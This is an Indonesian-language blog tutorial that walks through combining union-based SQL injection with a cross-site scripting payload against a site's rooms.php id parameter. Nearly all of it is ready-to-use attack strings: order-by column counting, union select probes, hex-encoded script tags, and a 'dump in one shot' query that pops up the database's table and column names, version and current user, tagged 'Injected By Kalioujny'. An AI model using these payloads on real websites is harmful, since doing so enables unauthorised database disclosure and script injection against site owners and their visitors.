Skip to content Skip to sidebar Skip to footer

Widget HTML #1

Tutorial XSS In SQL Injection

Hallo, Apakabar?

Melalui artikel kali ini, saya ingin sharing sedikit tutorial tentang xss di sql injection, penasaran? Oke, simak aja ya hehe.

Apa itu XSS In SQL Injection?

Nah jadi, teknik ini sebenarnya tidak jauh berbeda dengan SQL Injection manual seperti biasa. Akan tetapi didalam query sql injection nanti kita masukan sebuah script xss.

Tutorial XSS in SQL Inkection

Untuk melakukan teknik seperti ini setidaknya punya basic pengetahuan tentang xss, saya rasa mungkin teman-teman semua banyak yang sudah tahu apa itu xss, jadi saya tidak perlu menulis lagi soal xss. Kalau ada yang belum tahu saran dari saya, silahkan kamu bisa googling terlebih dahulu, oke.

Baiklah, tanpa berlama-lama kita langsung ke tutorialnya saja ya, letsgoo.

Tutorial XSS In SQL Injection


INFO: Untuk bagian mengecek web tersebut vulnerable atau tidak saya skip dan untuk cara menentukan balancing atau comment saya skip juga, karena apa? Karena kamu pasti sudah mengerti. Jadi saya langsung lompat saja ke step menentukan jumlah columns.

Step 1: Menentukan Jumlah Columns


Nah, langkah selanjutnya adalah menentukan berapa jumlah kolom dari table di database yang digunakan pada website tersebut. Untuk caranya kita seperti biasa menggunakan order by dan sampai menemukan diangka berapa terdapat error.

url/rooms.php?id=1' order by 1--+ Normal
url/rooms.php?id=1' order by 5--+ Normal
url/rooms.php?id=1' order by 7--+ Normal
url/rooms.php?id=1' order by 8--+ Normal
url/rooms.php?id=1' order by 9--+ Error

Oke sip, pada target disini error muncul diangka ke 9, itu artinya kalau jumlah kolom hanya ada 8.

Step 2: Mencari Angka Ajaib


Seperti biasanya, angka ajaib atau bisa disebut juga dengan nama magic number ini bisa kita dapatkan dengan menjalankan payload union select.

Oiya, dalam hal ini kamu sesuaikan sendiri dengan jumlah table yang kamu temukan pada website target, jangan samakan dengan tulisan ini karena akan berbeda, dan ingat tambahkan tanda - dibelakang = ya.

url/rooms.php?id=-1' union select 1,2,3,4,5,6,7,8--+

Setelah saya menjalankan payload tersebut, disini output angka ajaibnya adalah 2, 3, 4.

Menentukan Angka Ajaib - SQLI

Dari angka yang kita peroleh tersebut bisa kita gunakan untuk melangkah ke tutorial berikutnya, yaitu memasukan script xss dibagian angka ajaib tadi.

Step 3: Memasukan Script XSS


Script XSS:
<script>alert("XSS")</script>

Script XSS Encode Hex:
0x3c7363726970743e616c657274282258535322293c2f7363726970743e

Nah tadi dibagian angka ajaibnya kita coba masukan script xss tersebut, seperti ini caranya.

url/rooms.php?id=-1' union select 1,2,<script>alert("XSS")</script>,4,5,6,7,8--+

Query encode,

url/rooms.php?id=-1' union select 1,2,0x3c7363726970743e616c657274282258535322293c2f7363726970743e,4,5,6,7,8--+

Setelah itu jalankan, jika muncul pop up seperti pada gambar (lihat gambar) berarti bisa dibilang kode berhasil dieksekusi.

Sqli with script xss

CATATAN: Terkadang kalau kita memasukan script kode tersebut, beberapa website tidak bisa menerima kode secara langsung, nah untuk mengakalinya kita bisa encode ke HEX terlebih dahulu.

Step 4: Menggabungkan Query SQL Injection Dengan Script XSS


Nah sekarang, tinggal bagaimana cara buat menggabungkan query sql injection dengan script xss? Jadi caranya seperti berikut ini, tinggal masukan querynya didalam kode script xss tersebut.

Query/Dios: (select(group_concat(table_name,0x3a3a,column_name)) from information_schema.columns where table_schema=database())

Sekarang kita bisa coba masukan ke dalam kode xss, jadi kurang lebih querynya akan seperti ini,

url/rooms.php?id=-1' union select 1,2,concat(<script>alert(",(select(group_concat(table_name,0x3a3a,column_name)) from information_schema.columns where table_schema=database()),")</script>),4,5,6,7,8--+

Perhatikan baik-baik ya, sebelum menjalankan kode tersebut, sekarang kita lakukan encode dibagian kode script xxs ke value hex.

<script>alert(" = 0x3c7363726970743e616c6572742822

")</script> = 0x22293c2f7363726970743e

Maka jika digabungkan jadi seperti ini,

url/rooms.php?id=-1' union select 1,2,concat(0x3c7363726970743e616c6572742822,(select(group_concat(table_name,0x3a3a,column_name)) from information_schema.columns where table_schema=database()),0x22293c2f7363726970743e),4,5,6,7,8--+

Kemudian tinggal jalankan, apabila sukses website tersebut akan menampilkan popup.

Sqli with dios di script xss popup

Yah, tampilanya kok berantakan?

Sekarang mari kita coba percantik dengan menambahkan breakrow agar supaya kelihatan lebih rapi dan tersusun.

CATATAN: Di XSS tanda breakrow seperti <br> tidak bisa digunakan, jadi alternatif lain kita bisa memakai seperti ini \n

Jadi cara menambahkan \n seperti ini ya, simak baik-baik.

url/rooms.php?id=-1' union select 1,2,concat(0x3c7363726970743e616c6572742822,(select(group_concat(\n,table_name,0x3a3a,column_name)) from information_schema.columns where table_schema=database()),0x22293c2f7363726970743e),4,5,6,7,8--+

Disitu saya menambahkan \n sebelum table_name, sekarang kita encode \n terlebih dahulu ke hex value.

\n = 0x5c6e

Jadi kalau kita gabungkan maka kurang lebih querynya akan seperti ini,

url/rooms.php?id=-1' union select 1,2,concat(0x3c7363726970743e616c6572742822,(select(group_concat(0x5c6e,table_name,0x3a3a,column_name)) from information_schema.columns where table_schema=database()),0x22293c2f7363726970743e),4,5,6,7,8--+

Kemudian jalankan, maka jika berhasil akan seperti pada tampilan berikut ini.

Sqli with popup xss

Sekarang tampilanya sudah tersusun rapi bukan?
Oke selanjutnya, kita coba print nama kita, version, database dan lain sebagainya.

Berikut ini caranya, cukup masukan kedalam querynya saja.

url/rooms.php?id=-1' union select 1,2,concat(0x3c7363726970743e616c6572742822,(select(concat(Injected By Kalioujny\n,version(),\n,user(),\n,database(),\n,(group_concat(0x5c6e,table_name,0x3a3a,column_name)))) from information_schema.columns where table_schema=database()),0x22293c2f7363726970743e),4,5,6,7,8--+

Bingung tidak? Saya akan jelaskan dibawah berikut ini jika masih binggung.

teks warna blue: query xss.
teks warna red: query tambahan contoh misalnya, version(), user(), database() dan lain sebagainya.
teks warna green: query dios.

Seperti biasa, sebelum menjalankan kita encode querynya terlebih dahulu bagian seperti nama kita, \n, tapi bagian version(), user(), database() tetap biarkan saja seperti aslinya jangan di encode.

url/rooms.php?id=-1' union select 1,2,concat(0x3c7363726970743e616c6572742822,(select(concat(0x496e6a6563746564204279204b616c696f756a6e795c6e,version(),0x5c6e,user(),0x5c6e,database(),0x5c6e,(group_concat(0x5c6e,table_name,0x3a3a,column_name)))) from information_schema.columns where table_schema=database()),0x22293c2f7363726970743e),4,5,6,7,8--+

Setelah itu tinggal kamu jalankan, jika berhasil maka tampilanya akan seperti ini,

Payload XSS SQL Injection

Kalau tidak muncul gimana? Mungkin ada kesalahan kali itu, coba teliti kembali ya.

Kebanyakan kalau gagal dalam mengeksekusi query xss ke dalam sql injection itu biasanya penyebabnya adalah penempatan koma, jadi hal ini harus benar-benar diteliti kembali ya.

Selesai...

Demikian artikel sederhana yang saya tulis ini tentang Tutorial XSS In SQL Injection, semoga dapat bermanfaat buat semua orang. Apabila ada kesalahan dalam penulisan atau penjelasan mohon dimaklumi ya hehe.

Oiya, jika ada sesuatu yang ingin ditanyakan monggo silahkan tulis dikolom komentar yang sudah disediakan ya, sebisa mungkin nanti saya akan bantu jawab, oke.

Berhubung dunia saat ini sedang ada Pandemi Virus Corona Covid-19, maka tetap #DiRumahAja jangan lupa jaga diri kalian, jaga kesehatan juga ya. Semoga dunia ini lekas membaik ❤️ amin.

Akhir kata, Maturnuwun, Terimakasih.

Post a Comment for "Tutorial XSS In SQL Injection"